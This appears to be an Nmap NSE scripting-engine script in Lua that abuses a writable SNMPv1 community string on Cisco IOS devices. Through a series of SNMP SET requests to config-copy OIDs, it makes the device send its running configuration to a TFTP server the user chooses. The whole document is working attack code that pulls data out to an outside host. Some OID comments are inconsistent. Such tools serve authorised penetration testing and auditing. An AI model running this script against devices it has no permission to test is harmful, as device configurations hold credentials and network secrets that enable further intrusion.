description = [[
Download IOS configuration using SNMP RW (v1) string
]]

---
-- @args snmpcommunity - the community to use for download, this can also be used from snmp-brute or default is public 
-- @args tftpserver - the tftp server to copy configuration file to (without this script will not run)
-- @usage
-- nmap -sU [-p161] --script snmp-ios-config --script-args [snmpcommunity=private,]tftpserver=<TFTP server> <target>
-- @output
-- |  snmp-ios-config: "IOS configuration downloaded with filename TARGETIP-config to TFTP server *tftpserver*

author = "Vikas Singhal"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"intrusive"}

dependencies = {"snmp-brute"}

require "shortport"
require "snmp"

portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})


local function sendrequest(oid, setparam)
	local payload
	local options = {}
	options.reqId = 28428 -- unnecessary?
	payload = snmp.encode(snmp.buildPacket(snmp.buildSetRequest(options, oid,setparam)))

	try(socket:send(payload))
	
	local status
	local response
	
	-- read in any response we might get
	status, response = socket:receive_bytes(1)

	if (not status) or (response == "TIMEOUT") then 
		return
	end
	
	local result
	result = snmp.fetchFirst(response)
	return result
end

---
-- Sends SNMP packets to host and reads responses
action = function(host, port)
	
	stdnse.print_debug("tftpserver: %s", nmap.registry.args.tftpserver)

	if ( not(nmap.registry.args.tftpserver) ) then
		
		return 
	end
	local tftpserver
	tftpserver = nmap.registry.args.tftpserver

       	-- create the socket used for our connection
	socket = nmap.new_socket()
	
	-- set a reasonable timeout value
	socket:set_timeout(5000)
	
	-- do some exception handling / cleanup
	catch = function()
		socket:close()
		-- return 'wrong SNMP key'
	end
	
	try = nmap.new_try(catch)
	
	-- connect to the potential SNMP system
	try(socket:connect(host.ip, port.number, "udp"))
	
	local payload
	  
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999 (ConfigCopyProtocol is set to TFTP [1] )

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.2.9999",1)

	-- since we got something back, the port is definitely open
	nmap.set_port_state(host, port, "open")

	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.3 (SourceFileType is set to running-config [4] )

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.3.9999",4)
	
	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.4 (DestinationFileType is set to networkfile [1] )

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.4.9999",1)
	
	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddress is set to the IP address of the TFTP server )
	
	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.5.9999",tftpserver)


	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.15 (ServerAddressType is set 1 for ipv4 ) 
	-- more options - 1:ipv4, 2:ipv6, 3:ipv4z, 4:ipv6z, 16:dns

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.15.9999",1)

	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.16 (ServerAddress is set to the IP address of the TFTP server )

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.16.9999",tftpserver)

	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.6 (CopyFilename is set to IP-config)

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.6.9999",host.ip .. "-config")

	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Start copying by setting CopyStatus to active [1])
	-- more options: 1:active, 2:notInService, 3:notReady, 4:createAndGo, 5:createAndWait, 6:destroy

	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",1)
	
	-- wait for sometime and print the status of filetransfer
	
	stdnse.sleep(5)
	
	-- build a SNMP v1 packet
	-- get value: .1.3.6.1.4.1.9.9.96.1.1.1.1.10 (Check the status of filetransfer) 1:waiting, 2:running, 3:successful, 4:failed

	local options = {}
	options.reqId = 28428
	payload = snmp.encode(snmp.buildPacket(snmp.buildGetRequest(options, ".1.3.6.1.4.1.9.9.96.1.1.1.1.10.9999"))) 
	
	try(socket:send(payload))

	local status
	local response
	-- read in any response we might get
	status, response = socket:receive_bytes(1)

	if (not status) or (response == "TIMEOUT") then
		return result
	end
	
	local result
	result = snmp.fetchFirst(response)

	if result == 3 then
    		result = "IOS configuration downloaded with filename " .. host.ip .. "-config" .. " to " .. "TFTP server " .. tftpserver
	else
		result = "Not successful! error code: " .. result .. " (1:waiting, 2:running, 3:successful, 4:failed)"
 	end
	
	-------------------------------------------------
	-- build a SNMP v1 packet
	-- set value: .1.3.6.1.4.1.9.9.96.1.1.1.1.14 (Destroy settings by setting CopyStatus to destroy [6])
	
	request = sendrequest(".1.3.6.1.4.1.9.9.96.1.1.1.1.14.9999",6)
	
	try(socket:close())

	return result
end

